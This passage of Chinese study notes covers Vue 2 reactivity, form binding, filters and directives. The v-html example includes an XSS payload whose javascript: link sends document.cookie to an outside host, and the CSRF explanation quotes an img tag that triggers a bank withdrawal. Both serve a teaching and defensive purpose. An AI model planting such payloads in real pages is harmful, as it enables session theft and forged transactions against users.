对于创建vue实例时已存在的属性和子级属性包括数组中对象的属性,除了数组中的元素,在创建vue实例时Vue都会自动生成getter和setter;
在创建vue实例后,对于data中某一个对象新添加的属性,需要使用Vue.set()添加属性才能创建出getter和setter;
第二种方式:对于数组中单个元素(没有getter和setter),只要是通过数组的7个特定方法进行数组元素更新的,也可以实现监测,如第3小标题所述。
3.Vue.set(target,key/index,val)和vueinstanceName.$set(target,key/index,val)实现新添加属性的监测(也可以实现数组元素的监测)
这两个方法要解决的问题:
Vue.set(target,key/index,val)和vueinstanceName.$set(target,key/index,val)等同,用于添加响应式属性。
这样添加则会自动生成getter和setter:
注意:这两个方法只能给data中的某一个对象追加属性,而不能给data追加属性,也不能给vue实例追加属性。
上面的写法正确,下面的写法报错
、
4.数组元素的监测
如标题25所述的更新问题,数组单个元素不会自动生成getter和setter(hobby数组有getter和setter)对数组单个元素进行=赋值操作后不会刷新到页面上。对象属性可以生成。那么vue怎么实现数组元素的监视呢?1.数组特定方法 2.Vue.set()方法
1.使用数组特定方法操作数组元素则可以实现对数组元素的监测和页面更新:
7个方法分别是:push/pop/shift/unshift/sort/reverse/splice。注意不是slice。
splice()方法用于添加或删除数组中的元素 从第2+1个位置开始删除数组后的1个元素并在此位置添加元素: var fruits = ["Banana", "Orange", "Apple", "Mango"]; fruits.splice(2,1,"Lemon","Kiwi"); fruits 输出结果: Banana,Orange,Lemon,Kiwi,Mango 从第3个位置开始删除数组后的两个元素,返回被删除的元素的数组: var fruits = ["Banana", "Orange", "Apple", "Mango"]; fruits.splice(2,2); 清空数组: ary.splice(0,ary.length);//清空数组 在数组中指定位置(第2+1个位置)添加新元素而不移除元素: var fruits = ["Banana", "Orange", "Apple", "Mango"]; fruits.splice(2,0,"Lemon","Kiwi"); fruits 输出结果: Banana,Orange,Lemon,Kiwi,Apple,Mango
filter/concat等方法不包括在内,要想数组过滤/拼接后实现页面的数组数据更新,可以把过滤结果直接赋值给数组属性名,因为数组属性名是有getter和setter的,是响应式属性。
var sedan = ["S60", "S90"]; var SUV = ["XC40", "XC60", "XC90"]; var wagon = ["V60", "V90", "V90CC"]; var Volvo = sedan.concat(SUV, wagon);
2.Vue.set()方法不仅可以实现属性的响应式操作,也可以实现数组元素的响应式操作:
补充:
<body> <div id="app"> <ul> <li v-for="(item, index) in list" :key="index"> {{item.id}}-{{item.name}}--{{index}} </li> </ul> <button @click="add">添加一个人</button> </div> <script type="text/javascript"> Vue.config.productionTip = false; const app = new Vue({ el: '#app', data() { return { list: [ { id: 1, name: '张三' }, { id: 2, name: '李四' }, { id: 3, name: '王五' } ], }; }, methods: { add() { //在数组末尾追加元素,这样写新添加的对象元素的的所有属性都会生成getter和setter,包括age //this.list.push({ id: 4, name: "马云", age: 55 }) //在下标3的位置设置元素,这样写新添加的对象元素的所有属性都会生成getter和setter,包括age this.$set(this.list, 3, { id: 4, name: "马云", age: 55 }); //这样写新添加的对象元素的所有属性都不能生成getter和setter,包括id,name //this.list[3]={ id: 4, name: "马云", age: 55 }; } }, }); </script> </body>
5.删除属性检测,Vue.delete()/vm.$delete()实现响应式
delete删除属性 和 Vue.delete()/vm.$delete()
delete删除属性,不会响应到页面:
通过指定方法删除,会响应到页面上:
27.表单数据收集案例 和 v-model的3个修饰符
1.label标签作用:
输入框必须加for属性才起作用:
点击"账号:"鼠标焦点能被input框获取到,
可以理解为使label标签中内容从属于input标签的一部分。
多选框不需要加for属性也可以起作用:
2.表单收集案例 和 v-model的3个修饰符
注意:vue中单选框radio的checked无效,多选框checkbox的checked有效 。
完整案列:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="../../js/vue.js"></script>
<title>VUE</title>
</head>
<body>
<div id="root">
<form @submit.prevent="submitEvent">
<table>
<tr>
<td>
<label for="account">账号:</label><!--v-model.trim 去掉输入数据的前后空格-->
<input type="text" id="account" v-model.trim="userInfo.account"></input>
</td>
</tr>
<tr>
<td>
<label for="password">密码:</label>
<input type="password" id="password" v-model="userInfo.password"></input>
</td>
</tr>
<tr>
<td>
性别:<input type="radio" name="sex" v-model:value="userInfo.sex" value="man">男</input>
<input type="radio" name="sex" v-model:value="userInfo.sex" value="woman">女</input>
</td>
</tr>
<tr>
<td>
<label for="age">年龄:</label>
<!--type="number" 使得输入框只能输入正负整数,vue中接收的还是字符串-->
<!--v-model:value.number 使得vue中接收的数据是整形-->
<input type="number" id="age" v-model:value.number="userInfo.age">
</td>
</tr>
<tr>
<td>
爱好:<input type="checkbox" v-model="userInfo.hobby" value="chouyan">抽烟</input>
<input type="checkbox" v-model="userInfo.hobby" value="hejiu">喝酒</input>
<input type="checkbox" v-model="userInfo.hobby" value="tangtou">烫头</input>
</td>
</tr>
<tr>
<td>
校区:<select v-model="userInfo.city">
<!--value=""不要省略!-->
<option value="">请选择校区</option>
<option value="beijing">北京</option>
<option value="shanghai">上海</option>
<option value="guangzhou">广州</option>
<option value="shenzhen">深圳</option>
</select>
</td>
</tr>
<tr>
<td>
<!--v-model.lazy 使得文本域失去鼠标焦点后,再把文本同步到vue中-->
其他信息:<textarea v-model.lazy="userInfo.other"></textarea>
</td>
</tr>
<tr>
<td>
<!--多选框只有1个选项、未配置value,收集的是true(选中)/false(未选中)-->
<input type="checkbox" v-model="userInfo.agree">我已阅读并接受
<a href="http://www.baidu.com">《用户协议》</a>
</td>
<td><button>提交</button></td><!--加@click.prevent,表单提交事件@submit就不会触发-->
</tr>
</table>
</form>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
const vm = new Vue({
el: "#root",
data: {
userInfo:{
account: '',
password: '',
sex: 'man',//设置默认选中man,vue中单选框checked失效
age:null,
hobby: [],//多选框要用数组接收
city: '',
other: '',
agree: false //多选框只有1个选项、未配置value,用bool类型接收
}
},
methods: {
submitEvent(){
//一般不直接在程序引用_data
/* console.log(this._data); */
/* console.log(JSON.stringify(this._data)); */
//JSON.stringify(Object)将JavaScript对象转换为字符串
console.log(JSON.stringify(this.userInfo));
},
},
computed: {
},
watch: {
}
});
</script>
</body>
</html>
28.过滤器filters块 和 全局过滤器 和 dayjs日期处理插件
1.dayjs第三方插件介绍
引入dayjs.min.js,下载地址BootCDN - Bootstrap 中文网开源项目免费 CDN 加速服务
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="../../js/vue.js"></script>
<script src="../../js/dayjs.min.js"></script><!--引入dayjs插件-->
<title>VUE</title>
</head>
<body>
<div id="root">
{{fmtTime}}
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
const vm = new Vue({
el: "#root",
computed: {
//计算属性可以不使用data属性
fmtTime(){
//dayjs接收数值型参数,默认是Date.now()
//return dayjs(1668508353701);//2022-11-15T18:32:33+08:00
return dayjs(1668508353701).format('YYYY-MM-DD HH:mm:ss');
}
},
});
</script>
</html>
2.filters块 和 全局过滤器
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="../../js/vue.js"></script>
<script src="../../js/dayjs.min.js"></script><!--引入dayjs-->
<title>VUE</title>
</head>
<body>
<div id="root">
<h1>methods实现:{{fmtTime()}}</h1>
<h1>computed实现:{{formatTime}}</h1>
<!--time作为format过滤器的第一个入参(须省略不写),format过滤器的执行结果作为myslice过滤器的入参-->
<h1>filters实现:{{time | format('YYYY-MM-DD') | myslice | myslice2}}</h1>
<!--这点和v-on事件绑定中的回调函数不一样,如标题12所述:
事件回调函数带参数的括号时必须显式地声明$event才能传递,不带括号则默认会传递$event-->
</div>
<div id="root2">
<!--局部过滤器报错:[Vue warn]: Failed to resolve filter: myslice-->
<!-- <h1>测试能否跨组件使用filter:{{msg | myslice}}</h1> -->
<!--全局过滤器不报错-->
<h1>测试能否跨组件使用filter:{{msg | myslice2}}</h1>
<!--插值语法可以使用过滤器,v-bind也可以使用过滤器,【但v-model不能使用过滤器】-->
<input type="button" :value="msg | myslice2">
<!-- <input type="text" v-model="msg | myslice2"></input> -->
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
//全局过滤器--filter不要写成filters--可跨组件使用
Vue.filter('myslice2',function(value){
return value.slice(0,2);
});
const vm = new Vue({
el: "#root",
data: {
time:1668508353701
},
methods: {
fmtTime(){
//dayjs接收数值型参数,默认是Date.now()
//return dayjs(1668508353701);//2022-11-15T18:32:33+08:00
return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss');//2022-11-15 18:32:33
}
},
computed: {
//计算属性可以不使用data属性
formatTime(){
return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss');//2022-11-15 18:32:33
}
},
watch: {
},
/* folters块中的过滤器是局部的(组件级别的:一个组件相当于一个微型的vue实例)过滤器,不能跨组件使用 */
filters:{
format(value, str='YYYY-MM-DD HH:mm:ss'){//value即为time;str为空就赋值不为空就不赋值
return dayjs(value).format(str);//2022-11-15
},
myslice(value){
return value.slice(0,4);//2022
}
}
});
const vm2 = new Vue({
el:"#root2",
data:{
msg:"余幼时即嗜学"
}
});
</script>
</html>
//过滤器中不能直接获取到this,可以这样处理:
beforeCreate(){
that = this;
},
filters:{
convertLanguage(value){
return that.convertLang(value);
},
convert(val){
if(val === 'actived'){
return '已激活'
}
if(val === 'deactivated'){
return '已停用'
}
}
}
29. v-text指令
向其所在的标签插入文本,覆盖掉原文本内容。
有代码如下:
页面显示效果:
30.v-html指令
1.v-html介绍
会覆盖掉原有内容。
案例演示:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="../../js/vue.js"></script>
<title>VUE</title>
</head>
<body>
<div id="root">
<div v-html="msg">原本内容</div>
<div v-html="msg2">原本内容</div>
<div v-text="msg">原本内容</div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
const vm = new Vue({
el: "#root",
data: {
msg:'<h1>hello<a href="http://www.baidu.com">点我去百度</a></a></h1>',
//v-html易被利用造成xss安全问题[如果用户提交下面msg2的内容,通过v-html植入到系统页面展示出来,别人点击就会被盗取cookie信息(httponly为true的cookie不会被document.cookie获取到)][xss问题常出现在陌生邮件、不安全的论坛文章中,表现为不明确的链接]
msg2:'<h2>hello<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点我去百度</a></a></h2>'
},
methods: {
}
});
</script>
</html>
2.xss和csrf/xsrf
xss跨站脚本攻击跨站脚本攻击_百度百科、csrf跨站请求伪造跨站请求伪造_百度百科
XSS攻击通常指的是通过利用网页开发时(故意/非本意)留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。 攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。[xss问题常出现在陌生邮件、不安全的论坛文章 等任何用户生成内容的网站中,表现为不明确的链接(这点倒是和CSRF相同)]
跨站请求伪造(英语:Cross-site request forgery),通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨站脚本攻击(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。
简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
例子
假如一家银行用以运行转账操作的URL地址如下:http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName
那么,一个恶意攻击者可以在另一个网站上放置如下代码: <img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">
如果有账户名为Alice的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会损失1000资金。
这种恶意的网址可以有很多种形式,藏身于网页中的许多地方。此外,攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛,博客等任何用户生成内容的网站中。这意味着如果服务端没有合适的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险。
透过例子能够看出,攻击者并不能通过CSRF攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义运行操作。
防御措施
1.检查Referer字段
HTTP头中有一个Referer字段,这个字段用以标明请求来源于哪个地址。在处理敏感数据请求时,通常来说,Referer字段应和请求的地址位于同一域名下。以上文银行操作为例,Referer字段地址通常应该是转账按钮所在的网页地址,应该也位于www.examplebank.com之下。而如果是CSRF攻击传来的请求,Referer字段会是包含恶意网址的地址,不会位于www.examplebank.com之下,这时候服务器就能识别出恶意的访问。
这种办法简单易行,工作量低,仅需要在关键访问处增加一步校验。但这种办法也有其局限性,因其完全依赖浏览器发送正确的Referer字段。虽然http协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其Referer字段的可能。
2.添加校验token(✔)
由于CSRF的本质在于攻击者欺骗用户去访问攻击者自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供攻击者无法伪造的数据作为校验,那么攻击者就无法再运行CSRF攻击。这种数据通常是窗体中的一个数据项。服务器将其生成并附加在窗体中(cookie或者local storage、session storage),其内容是一个伪随机数。当客户端通过窗体提交请求时,这个伪随机数也一并提交上去以供校验。正常的访问时,客户端浏览器能够正确得到并传回这个伪随机数,而通过CSRF跨站请求伪造传来的攻击,攻击者无从事先(从cookie或者local storage中,cookie是有域名的且可以设置httponly为true)得知这个伪随机数的值,服务端就会因为校验token的值为空或者错误,拒绝这个可疑请求。
- 登录凭证token有泄露和篡改风险,安全性的高低取决于加密算法、签名秘钥。
要求用户浏览器提供不保存在cookie中(redis),且攻击者无法伪造的token作为校验。
3.cookie安全问题
案例:在谷歌浏览器登录github会生成cookie,通过cookie-edit插件复制此cookie到火狐浏览器,会发现火狐不需要登录即可访问。这就是cookie安全问题。
cookie.setHttpOnly(true);可以使控制台通过window.document.cookie或者document.cookie读取不到该cookie。
31.v-cloak指令
1.v-cloak介绍
v-cloak是一个特殊的HTML标签属性,vue实例创建完毕并绑定容器后,会删除掉所绑定容器中标签上的v-cloak属性,使用场景主要是在页面加载初期设置一些特殊样式,加载完毕立马删除这些样式,在网络不畅时优化用户界面效果。可以理解为v-cloak作为属性选择器的属性名。
2.页面解析顺序(由上到下)
这里引入的js是讲师提供的服务器,0s是不延迟,5s是延迟5s
先引入js再解析body最后script,页面空白5s之后加载完毕。
先解析body再引入js最后script,这样页面在开始5s会出现突兀的插值代码。
解决办法:1.把引入js的script块放在body之前,如第一张图。
2.采用v-cloak解决。
3.v-cloak使用案列
下图执行步骤:DOM从上到下解析,第一步把body展示到页面,由于v-cloak绑定的css样式把h2隐藏,所以页面暂时显示为空白页面;第二步引入js耗时5s;第三步解析vue,vue会立即把所有标签上的v-cloak属性移除,最后h2标题显示出来且name已经是插值完毕状态。
v-cloak主要解决网速慢时页面出现插值语法{{}}的问题。
32.v-once指令
注意和标题13中事件修饰符的once区别。
33.v-pre指令
34.directives块——自定义指令
判断a是否是真实Dom元素。
1.函数式
需求:定义1个v-mybig指令,把绑定的数值放大10倍
实现代码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="../../js/vue.js"></script>
<title>VUE</title>
</head>
<body>
<div id="root">
<h2>{{name}}</h2>
<h2>当前的n值是:<span v-text="n+3"></span></h2>
<h2>放大10倍后的n值是:<span v-mybig="n-1+4"></span></h2>
<button @click="n++">n++</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
const vm = new Vue({
el: "#root",
data: {
name:"我是方珑男朋友",
n:7
},
directives: {
//名称必须和v-mybig保持一致
mybig(element, binding){
console.log(element, binding);
//element是span元素,
//binding.value是n-1+4的值:10,
//binding.rawName是自定义指令名称:v-mybig
//binding.expression是v-mybig中的表达式:n-1+4,
//binding.name是:mybig
element.innerText = binding.value * 10;
}
//v-mybig何时会被调用?
//1.页面初次加载,span元素和v-mybig指令初次绑定时,注意此时span元素还没有在页面创建出来
//2.指令所在模板被重新解析时(data任意数据被更新时),如修改name的值会重新调用mybig函数
}
});
</script>
</html>
页面加载成功后(未点击按钮)显示效果:
2.对象式
需求:定义1个v-fbind指令,让其绑定的input元素默认获取焦点
不能满足全部需求的函数式方案:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="../../js/vue.js"></script>
<title>VUE</title>
</head>
<body>
<div id="root">
<button @click="n++">n++</button><hr>
<input type="text" v-fbind:value="n" ><!--添加autofocus属性可以实现默认获取焦点-->
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
const vm = new Vue({
el: "#root",
data: {
n:1
},
directives: {
fbind(element, binding){
element.value = binding.value;
element.focus();//页面初次加载成功,但输入框未获取到焦点,
//原因是fbind初次执行时(element和指令初次绑定但elemen还没有创建出来时),执行element.focus();是无效的,
//但执行element.value是有效的。
//点击一次按钮后会自动获取焦点,原因是此时input元素已经创建,且任何的data变化都会导致重新执行fbind函数。
}
}
});
</script>
</html>
更好理解页面模板解析顺序的js案例:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="../../js/vue.js"></script>
<title>VUE</title>
</head>
<style>
.demo {
background-color: yellow;
}
</style>
<body>
<div id="root">
<button id="btn">点我创建一个输入框</button>
<hr>
</div>
</body>
<script type="text/javascript">
const btn = window.document.getElementById("btn");
btn.onclick = () => {
let input = document.createElement("input");
input.className = 'demo';
input.value = '你好啊';
input.onclick = () => { alert(123) }
//input.focus();放在appendChild之前,生成的输入框不能获取焦点
//input.parentElement.style.backgroundColor='skyblue';报错:Uncaught TypeError: Cannot read properties of null (reading 'style')
document.body.appendChild(input);
input.focus();//奏效
input.parentElement.style.backgroundColor='skyblue';//奏效
}
</script>
</html>
显示效果: 点击按钮(获取焦点):
以后每次点击输入框,都会alert(123)出来.
满足全部需求的对象式方案:
bind/inserted/update是自定义指令中的钩子函数,和组件中的生命周期函数相区别。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="../../js/vue.js"></script>
<title>VUE</title>
</head>
<body>
<div id="root">
<button @click="n++">n++</button><hr>
<input type="text" v-fbind:value="n" >
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
const vm = new Vue({
el: "#root",
data: {
n:1
},
directives: {
fbind:{
//指令与元素成功绑定--元素尚未插到页面时(一上来)调用,仅赋值
bind(element, binding){
element.value = binding.value;
},
//指令所在元素被插入页面时调用--已赋值,仅聚焦
inserted(element, binding){
element.focus();
},
//指令所在模板被重新解析时调用,赋值且聚焦
update(element, binding){
element.value = binding.value;
element.focus();
}
}
}
});
</script>
</html>
3.总结
1.函数名问题:
2.directives块所有函数中的this都指代的是window实例,而不是vue实例。
3.和过滤器一样,new Vue中的自定义指令都是局部指令只能在当前组件内使用,全局指令写法:
4.
5.对比directives的自定义指令函数和computed的get()函数,前者是data中任意的数据更新都会导致自定义指令函数重新执行,后者是计算所依赖的data中的数据更新时重新执行,且后者仅在模版中第一次用到时执行而不是处处执行,具备缓存效果。